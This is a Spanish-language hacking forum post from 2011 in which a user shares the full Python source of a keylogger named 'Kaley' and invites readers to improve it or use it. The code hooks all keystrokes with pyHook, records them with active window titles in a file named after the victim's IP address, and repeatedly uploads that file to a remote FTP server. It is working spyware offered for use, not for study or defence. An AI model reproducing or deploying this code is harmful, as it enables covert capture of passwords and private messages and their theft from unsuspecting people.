elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] Kaley, Keylogger simple en Python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Kaley, Keylogger simple en Python  (Leído 7,169 veces)
Fyrox

Desconectado Desconectado

Mensajes: 35


Ver Perfil
[Python] Kaley, Keylogger simple en Python
« en: 21 Septiembre 2011, 23:24 pm »

Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código
  1. # coding= utf-8
  2. import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os
  3.  
  4. class Kaley:
  5.    def __init__(self):
  6.        self.current_window = None
  7.        self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
  8.        self.f = ftplib.FTP("server")
  9.        self.f.login("user", "pass")
  10.        self.f.cwd("/html/kaley")
  11.        self.run = False
  12.  
  13.    def getIP(self):
  14.        url = urllib.URLopener()
  15.        resp = url.open("http://automation.whatismyip.com/n09230945.asp")
  16.        html = resp.read(114)
  17.        return html
  18.  
  19.    def getDate(self):
  20.        now = datetime.datetime.now()
  21.        return now.strftime("%Y-%m-%d")
  22.  
  23.    def write(self, text):
  24.        file = open(self.namefile, "a")
  25.        file.write(text)
  26.        file.close()
  27.        if self.run == False:
  28.            thread.start_new_thread(self.upload, ())
  29.  
  30.    def upload(self):
  31.        self.run = True
  32.        time.sleep(5)
  33.        self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
  34.        self.run = False
  35.  
  36.    def stroke(self, event):
  37.        if event.WindowName != self.current_window:
  38.            self.write("\n" + event.WindowName + "\n")
  39.            self.current_window = event.WindowName
  40.        if event.Ascii == 32 or event.Ascii == 9:
  41.             self.write(" ")
  42.        elif event.Ascii == 241 or event.Ascii == 209:
  43.            self.write("Ñ")
  44.        elif event.Ascii == 13:
  45.            self.write("\n")
  46.        else:
  47.            self.write(event.Key)
  48.  
  49. log = Kaley()
  50. ph = pyHook.HookManager()
  51. ph.KeyDown = log.stroke
  52. ph.HookKeyboard()
  53. pythoncom.PumpMessages()

Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox


« Última modificación: 23 Septiembre 2011, 00:37 am por Fyrox » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python]Simple port scanner
Scripting
braulio-- 3 9,685 Último mensaje 8 Enero 2012, 20:04 pm
por tcp_root
(Python)Existen ventanas de entrada y salida de datos en python « 1 2 »
Scripting
tonilogar 11 15,560 Último mensaje 29 Noviembre 2009, 00:49 am
por tonilogar
Duda sobre Python Keylogger « 1 2 »
Scripting
mastertux 15 9,386 Último mensaje 3 Abril 2011, 18:38 pm
por 08l00D
[Python] Simple Keylogger
Scripting
BigBear 0 4,052 Último mensaje 7 Octubre 2011, 01:38 am
por BigBear
Keylogger simple para windows 7
Software
Crazy 6 2,043 Último mensaje 21 Agosto 2013, 16:41 pm
por Crazy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines